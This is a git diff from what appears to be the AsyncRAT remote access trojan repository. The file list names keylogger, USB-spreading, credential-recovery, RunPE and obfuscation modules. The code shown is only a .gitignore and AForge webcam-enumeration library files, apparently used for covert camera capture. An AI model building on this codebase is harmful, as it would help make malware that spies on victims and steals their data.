AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Helper/ListViewColumnSorter.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Helper/ListviewDoubleBuffer.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Helper/Methods.cs (72%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Helper/ReferenceLoader.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/MessagePack/BytesTools.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/MessagePack/MsgPack.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/MessagePack/MsgPackType.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/MessagePack/ReadTools.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/MessagePack/WriteTools.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Program.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Properties/AssemblyInfo.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Properties/Resources.Designer.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Properties/Resources.resx (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Properties/Settings.Designer.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Properties/Settings.settings (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/RenamingObfuscation/Classes/Base64.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/RenamingObfuscation/Classes/ClassesRenaming.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/RenamingObfuscation/Classes/DecryptionHelper.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/RenamingObfuscation/Classes/FieldsRenaming.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/RenamingObfuscation/Classes/InjectHelper.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/RenamingObfuscation/Classes/MethodsRenaming.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/RenamingObfuscation/Classes/NamespacesRenaming.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/RenamingObfuscation/Classes/PropertiesRenaming.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/RenamingObfuscation/Classes/Utils.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/RenamingObfuscation/EncryptString.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/RenamingObfuscation/Interfaces/ICrypto.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/RenamingObfuscation/Interfaces/IRenaming.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/RenamingObfuscation/ModuleDefMD.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/Miscellaneous.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/PluginRecovery.dll (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/PluginRunPE.dll (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/PluginUsbSpread.dll (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/arrow_down.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/arrow_up.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/blank-screen.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/botkiller.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/builder.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/cGeoIp.dll (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/chat.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/client.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/coding.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/ddos.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/disabled.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/extra.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/filemanager.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/info.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/key.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/logger.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/monitoring-system.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/mouse.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/mouse_enable.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/msgbox.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/netstat.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/pc.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/play-button.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/process.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/remotedesktop.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/report.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/save-image.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/save-image2.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/settings.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/shell.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/stop (1).png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/system.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/tomem.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/tomem1.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/u-torrent-logo.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/uac.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/usb.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/visit.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Resources/webcam.png (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/Server.csproj (98%) create mode 100644 AsyncRAT-C#/AsyncRAT-C#/Server/Settings.cs rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/StreamLibrary/Enums.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/StreamLibrary/IUnsafeCodec.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/StreamLibrary/IVideoCodec.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/StreamLibrary/src/JpgCompression.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/StreamLibrary/src/LzwCompression.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/StreamLibrary/src/NativeMethods.cs (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/app.manifest (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/async_icon.ico (100%) rename AsyncRAT-C#/{ => AsyncRAT-C#}/Server/packages.config (100%) delete mode 100644 AsyncRAT-C#/Client/FodyWeavers.xml delete mode 100644 AsyncRAT-C#/Client/FodyWeavers.xsd delete mode 100644 AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs delete mode 100644 AsyncRAT-C#/Client/Helper/RegistryDB.cs delete mode 100644 AsyncRAT-C#/Client/Settings.cs create mode 100644 AsyncRAT-C#/LICENSE delete mode 100644 AsyncRAT-C#/Plugin/LimeLogger.dll delete mode 100644 AsyncRAT-C#/Plugin/PluginBase.zip delete mode 100644 AsyncRAT-C#/Plugin/PluginCam.dll delete mode 100644 AsyncRAT-C#/Plugin/PluginChat.dll delete mode 100644 AsyncRAT-C#/Plugin/PluginDesktop.dll delete mode 100644 AsyncRAT-C#/Plugin/PluginFileManager.dll create mode 100644 AsyncRAT-C#/README.md delete mode 100644 AsyncRAT-C#/Server/Forms/FormChat.cs delete mode 100644 AsyncRAT-C#/Server/Handle Packet/HandleChat.cs delete mode 100644 AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs delete mode 100644 AsyncRAT-C#/Server/Handle Packet/HandlePlugin.cs delete mode 100644 AsyncRAT-C#/Server/Settings.cs diff --git a/AsyncRAT-C#/.gitattributes b/AsyncRAT-C#/.gitattributes new file mode 100644 index 0000000..dfe0770 --- /dev/null +++ b/AsyncRAT-C#/.gitattributes @@ -0,0 +1,2 @@ +# Auto detect text files and perform LF normalization +* text=auto diff --git a/AsyncRAT-C#/.gitignore b/AsyncRAT-C#/.gitignore new file mode 100644 index 0000000..77c01f4 --- /dev/null +++ b/AsyncRAT-C#/.gitignore @@ -0,0 +1,335 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. +## +## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore + +# User-specific files +*.rsuser +*.suo +*.user +*.userosscache +*.sln.docstates + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +bld/ +[Bb]in/ +[Oo]bj/ +[Ll]og/ + +# Visual Studio 2015/2017 cache/options directory +.vs/ +Binaries/ +# Uncomment if you have tasks that create the project's static files in wwwroot +#wwwroot/ + +# Visual Studio 2017 auto generated files +Generated\ Files/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +# NUNIT +*.VisualState.xml +TestResult.xml + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +# Benchmark Results +BenchmarkDotNet.Artifacts/ + +# .NET Core +project.lock.json +project.fragment.lock.json +artifacts/ + +# StyleCop +StyleCopReport.xml + +# Files built by Visual Studio +*_i.c +*_p.c +*_h.h +*.ilk +*.meta +*.obj +*.iobj +*.pch +*.pdb +*.ipdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*_wpftmp.csproj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opendb +*.opensdf +*.sdf +*.cachefile +*.VC.db +*.VC.VC.opendb + +# Visual Studio profiler +*.psess +*.vsp +*.vspx +*.sap + +# Visual Studio Trace Files +*.e2e + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# JustCode is a .NET coding add-in +.JustCode + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# AxoCover is a Code Coverage Tool +.axoCover/* +!.axoCover/settings.json + +# Visual Studio code coverage results +*.coverage +*.coveragexml + +# NCrunch +_NCrunch_* +.*crunch*.local.xml +nCrunchTemp_* + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# Note: Comment the next line if you want to checkin your web deploy settings, +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# Microsoft Azure Web App publish settings. Comment the next line if you want to +# checkin your Azure Web App publish settings, but sensitive information contained +# in these scripts will be unencrypted +PublishScripts/ + +# NuGet Packages +*.nupkg +# The packages folder can be ignored because of Package Restore +**/[Pp]ackages/* +# except build/, which is used as an MSBuild target. +!**/[Pp]ackages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/[Pp]ackages/repositories.config +# NuGet v3's project.json files produces more ignorable files +*.nuget.props +*.nuget.targets + +# Microsoft Azure Build Output +csx/ +*.build.csdef + +# Microsoft Azure Emulator +ecf/ +rcf/ + +# Windows Store app package directories and files +AppPackages/ +BundleArtifacts/ +Package.StoreAssociation.xml +_pkginfo.txt +*.appx + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!*.[Cc]ache/ + +# Others +ClientBin/ +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.jfm +*.pfx +*.publishsettings +orleans.codegen.cs + +# Including strong name files can present a security risk +# (https://github.com/github/gitignore/pull/2483#issue-259490424) +#*.snk + +# Since there are multiple workflows, uncomment next line to ignore bower_components +# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) +#bower_components/ + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm +ServiceFabricBackup/ +*.rptproj.bak + +# SQL Server files +*.mdf +*.ldf +*.ndf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings +*.rptproj.rsuser + +# Microsoft Fakes +FakesAssemblies/ + +# GhostDoc plugin setting file +*.GhostDoc.xml + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat +node_modules/ + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt + +# Visual Studio 6 auto-generated workspace file (contains which files were open etc.) +*.vbw + +# Visual Studio LightSwitch build output +**/*.HTMLClient/GeneratedArtifacts +**/*.DesktopClient/GeneratedArtifacts +**/*.DesktopClient/ModelManifest.xml +**/*.Server/GeneratedArtifacts +**/*.Server/ModelManifest.xml +_Pvt_Extensions + +# Paket dependency manager +.paket/paket.exe +paket-files/ + +# FAKE - F# Make +.fake/ + +# JetBrains Rider +.idea/ +*.sln.iml + +# CodeRush personal settings +.cr/personal + +# Python Tools for Visual Studio (PTVS) +__pycache__/ +*.pyc + +# Cake - Uncomment if you are using it +# tools/** +# !tools/packages.config + +# Tabs Studio +*.tss + +# Telerik's JustMock configuration file +*.jmconfig + +# BizTalk build output +*.btp.cs +*.btm.cs +*.odx.cs +*.xsd.cs + +# OpenCover UI analysis results +OpenCover/ + +# Azure Stream Analytics local run output +ASALocalRun/ + +# MSBuild Binary and Structured Log +*.binlog + +# NVidia Nsight GPU debugger configuration file +*.nvuser + +# MFractors (Xamarin productivity tool) working folder +.mfractor/ + +# Local History for Visual Studio +.localhistory/ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp.sln b/AsyncRAT-C#/AsyncRAT-C#/AsyncRAT-Sharp.sln similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp.sln rename to AsyncRAT-C#/AsyncRAT-C#/AsyncRAT-Sharp.sln diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/CameraControlProperty.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/CameraControlProperty.cs new file mode 100644 index 0000000..8ab1f6c --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/CameraControlProperty.cs @@ -0,0 +1,67 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + + /// + /// The enumeration specifies a setting on a camera. + /// + public enum CameraControlProperty + { + /// + /// Pan control. + /// + Pan = 0, + /// + /// Tilt control. + /// + Tilt, + /// + /// Roll control. + /// + Roll, + /// + /// Zoom control. + /// + Zoom, + /// + /// Exposure control. + /// + Exposure, + /// + /// Iris control. + /// + Iris, + /// + /// Focus control. + /// + Focus + } + + /// + /// The enumeration defines whether a camera setting is controlled manually or automatically. + /// + [Flags] + public enum CameraControlFlags + { + /// + /// No control flag. + /// + None = 0x0, + /// + /// Auto control Flag. + /// + Auto = 0x0001, + /// + /// Manual control Flag. + /// + Manual = 0x0002 + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs new file mode 100644 index 0000000..c70e966 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs @@ -0,0 +1,193 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + using AForge.Video.DirectShow.Internals; + + /// + /// DirectShow filter information. + /// + /// + public class FilterInfo : IComparable + { + /// + /// Filter name. + /// + public string Name { get; private set; } + + /// + /// Filters's moniker string. + /// + /// + public string MonikerString { get; private set; } + + /// + /// Initializes a new instance of the class. + /// + /// + /// Filters's moniker string. + /// + public FilterInfo( string monikerString ) + { + MonikerString = monikerString; + Name = GetName( monikerString ); + } + + /// + /// Initializes a new instance of the class. + /// + /// + /// Filter's moniker object. + /// + internal FilterInfo( IMoniker moniker ) + { + MonikerString = GetMonikerString( moniker ); + Name = GetName( moniker ); + } + + /// + /// Compare the object with another instance of this class. + /// + /// + /// Object to compare with. + /// + /// A signed number indicating the relative values of this instance and value. + /// + public int CompareTo( object value ) + { + FilterInfo f = (FilterInfo) value; + + if ( f == null ) + return 1; + + return ( this.Name.CompareTo( f.Name ) ); + } + + /// + /// Create an instance of the filter. + /// + /// + /// Filter's moniker string. + /// + /// Returns filter's object, which implements IBaseFilter interface. + /// + /// The returned filter's object should be released using Marshal.ReleaseComObject(). + /// + public static object CreateFilter( string filterMoniker ) + { + // filter's object + object filterObject = null; + // bind context and moniker objects + IBindCtx bindCtx = null; + IMoniker moniker = null; + + int n = 0; + + // create bind context + if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 ) + { + // convert moniker`s string to a moniker + if ( Win32.MkParseDisplayName( bindCtx, filterMoniker, ref n, out moniker ) == 0 ) + { + // get device base filter + Guid filterId = typeof( IBaseFilter ).GUID; + moniker.BindToObject( null, null, ref filterId, out filterObject ); + + Marshal.ReleaseComObject( moniker ); + } + Marshal.ReleaseComObject( bindCtx ); + } + return filterObject; + } + + // + // Get moniker string of the moniker + // + private string GetMonikerString( IMoniker moniker ) + { + string str; + moniker.GetDisplayName( null, null, out str ); + return str; + } + + // + // Get filter name represented by the moniker + // + private string GetName( IMoniker moniker ) + { + Object bagObj = null; + IPropertyBag bag = null; + + try + { + Guid bagId = typeof( IPropertyBag ).GUID; + // get property bag of the moniker + moniker.BindToStorage( null, null, ref bagId, out bagObj ); + bag = (IPropertyBag) bagObj; + + // read FriendlyName + object val = ""; + int hr = bag.Read( "FriendlyName", ref val, IntPtr.Zero ); + if ( hr != 0 ) + Marshal.ThrowExceptionForHR( hr ); + + // get it as string + string ret = (string) val; + if ( ( ret == null ) || ( ret.Length < 1 ) ) + throw new ApplicationException( ); + + return ret; + } + catch ( Exception ) + { + return ""; + } + finally + { + // release all COM objects + bag = null; + if ( bagObj != null ) + { + Marshal.ReleaseComObject( bagObj ); + bagObj = null; + } + } + } + + // + // Get filter name represented by the moniker string + // + private string GetName( string monikerString ) + { + IBindCtx bindCtx = null; + IMoniker moniker = null; + String name = ""; + int n = 0; + + // create bind context + if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 ) + { + // convert moniker`s string to a moniker + if ( Win32.MkParseDisplayName( bindCtx, monikerString, ref n, out moniker ) == 0 ) + { + // get device name + name = GetName( moniker ); + + Marshal.ReleaseComObject( moniker ); + moniker = null; + } + Marshal.ReleaseComObject( bindCtx ); + bindCtx = null; + } + return name; + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfoCollection.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfoCollection.cs new file mode 100644 index 0000000..dabd30d --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfoCollection.cs @@ -0,0 +1,138 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Collections; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + using AForge.Video.DirectShow.Internals; + + /// + /// Collection of filters' information objects. + /// + /// + /// The class allows to enumerate DirectShow filters of specified category. For + /// a list of categories see . + /// + /// Sample usage: + /// + /// // enumerate video devices + /// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice ); + /// // list devices + /// foreach ( FilterInfo device in videoDevices ) + /// { + /// // ... + /// } + /// + /// + /// + public class FilterInfoCollection : CollectionBase + { + /// + /// Initializes a new instance of the class. + /// + /// + /// Guid of DirectShow filter category. See . + /// + /// Build collection of filters' information objects for the + /// specified filter category. + /// + public FilterInfoCollection( Guid category ) + { + CollectFilters( category ); + } + + /// + /// Get filter information object. + /// + /// + /// Index of filter information object to retrieve. + /// + /// Filter information object. + /// + public FilterInfo this[int index] + { + get + { + return ( (FilterInfo) InnerList[index] ); + } + } + + // Collect filters of specified category + private void CollectFilters( Guid category ) + { + object comObj = null; + ICreateDevEnum enumDev = null; + IEnumMoniker enumMon = null; + IMoniker[] devMon = new IMoniker[1]; + int hr; + + try + { + // Get the system device enumerator + Type srvType = Type.GetTypeFromCLSID( Clsid.SystemDeviceEnum ); + if ( srvType == null ) + throw new ApplicationException( "Failed creating device enumerator" ); + + // create device enumerator + comObj = Activator.CreateInstance( srvType ); + enumDev = (ICreateDevEnum) comObj; + + // Create an enumerator to find filters of specified category + hr = enumDev.CreateClassEnumerator( ref category, out enumMon, 0 ); + if ( hr != 0 ) + throw new ApplicationException( "No devices of the category" ); + + // Collect all filters + IntPtr n = IntPtr.Zero; + while ( true ) + { + // Get next filter + hr = enumMon.Next( 1, devMon, n ); + if ( ( hr != 0 ) || ( devMon[0] == null ) ) + break; + + // Add the filter + FilterInfo filter = new FilterInfo( devMon[0] ); + InnerList.Add( filter ); + + // Release COM object + Marshal.ReleaseComObject( devMon[0] ); + devMon[0] = null; + } + + // Sort the collection + InnerList.Sort( ); + } + catch + { + } + finally + { + // release all COM objects + enumDev = null; + if ( comObj != null ) + { + Marshal.ReleaseComObject( comObj ); + comObj = null; + } + if ( enumMon != null ) + { + Marshal.ReleaseComObject( enumMon ); + enumMon = null; + } + if ( devMon[0] != null ) + { + Marshal.ReleaseComObject( devMon[0] ); + devMon[0] = null; + } + } + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCameraControl.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCameraControl.cs new file mode 100644 index 0000000..c207797 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCameraControl.cs @@ -0,0 +1,81 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The IAMCameraControl interface controls camera settings such as zoom, pan, aperture adjustment, + /// or shutter speed. To obtain this interface, query the filter that controls the camera. + /// + [ComImport, + Guid( "C6E13370-30AC-11d0-A18C-00A0C9118956" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IAMCameraControl + { + /// + /// Gets the range and default value of a specified camera property. + /// + /// + /// Specifies the property to query. + /// Receives the minimum value of the property. + /// Receives the maximum value of the property. + /// Receives the step size for the property. + /// Receives the default value of the property. + /// Receives a member of the CameraControlFlags enumeration, indicating whether the property is controlled automatically or manually. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetRange( + [In] CameraControlProperty Property, + [Out] out int pMin, + [Out] out int pMax, + [Out] out int pSteppingDelta, + [Out] out int pDefault, + [Out] out CameraControlFlags pCapsFlags + ); + + /// + /// Sets a specified property on the camera. + /// + /// + /// Specifies the property to set. + /// Specifies the new value of the property. + /// Specifies the desired control setting, as a member of the CameraControlFlags enumeration. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Set( + [In] CameraControlProperty Property, + [In] int lValue, + [In] CameraControlFlags Flags + ); + + /// + /// Gets the current setting of a camera property. + /// + /// + /// Specifies the property to retrieve. + /// Receives the value of the property. + /// Receives a member of the CameraControlFlags enumeration. + /// The returned value indicates whether the setting is controlled manually or automatically. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Get( + [In] CameraControlProperty Property, + [Out] out int lValue, + [Out] out CameraControlFlags Flags + ); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCrossbar.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCrossbar.cs new file mode 100644 index 0000000..b67fc09 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCrossbar.cs @@ -0,0 +1,88 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2012 +// contacts@aforgenet.com +// + +using System; +using System.Runtime.InteropServices; + +namespace AForge.Video.DirectShow.Internals +{ + /// + /// The IAMCrossbar interface routes signals from an analog or digital source to a video capture filter. + /// + [ComImport, System.Security.SuppressUnmanagedCodeSecurity, + Guid( "C6E13380-30AC-11D0-A18C-00A0C9118956" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IAMCrossbar + { + /// + /// Retrieves the number of input and output pins on the crossbar filter. + /// + /// + /// Variable that receives the number of output pins. + /// Variable that receives the number of input pins. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_PinCounts( [Out] out int outputPinCount, [Out] out int inputPinCount ); + + /// + /// Queries whether a specified input pin can be routed to a specified output pin. + /// + /// + /// Specifies the index of the output pin. + /// Specifies the index of input pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int CanRoute( [In] int outputPinIndex, [In] int inputPinIndex ); + + /// + /// Routes an input pin to an output pin. + /// + /// + /// Specifies the index of the output pin. + /// Specifies the index of the input pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Route( [In] int outputPinIndex, [In] int inputPinIndex ); + + /// + /// Retrieves the input pin that is currently routed to the specified output pin. + /// + /// + /// Specifies the index of the output pin. + /// Variable that receives the index of the input pin, or -1 if no input pin is routed to this output pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_IsRoutedTo( [In] int outputPinIndex, [Out] out int inputPinIndex ); + + /// + /// Retrieves information about a specified pin. + /// + /// + /// Specifies the direction of the pin. Use one of the following values. + /// Specifies the index of the pin. + /// Variable that receives the index of the related pin, or –1 if no pin is related to this pin. + /// Variable that receives a member of the PhysicalConnectorType enumeration, indicating the pin's physical type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_CrossbarPinInfo( + [In, MarshalAs( UnmanagedType.Bool )] bool isInputPin, + [In] int pinIndex, + [Out] out int pinIndexRelated, + [Out] out PhysicalConnectorType physicalType ); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs new file mode 100644 index 0000000..e72f06e --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs @@ -0,0 +1,74 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface sets the output format on certain capture and compression filters, + /// for both audio and video. + /// + /// + [ComImport, + Guid( "C6E13340-30AC-11d0-A18C-00A0C9118956" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IAMStreamConfig + { + /// + /// Set the output format on the pin. + /// + /// + /// Media type to set. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetFormat( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Retrieves the audio or video stream's format. + /// + /// + /// Retrieved media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetFormat( [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType ); + + /// + /// Retrieve the number of format capabilities that this pin supports. + /// + /// + /// Variable that receives the number of format capabilities. + /// 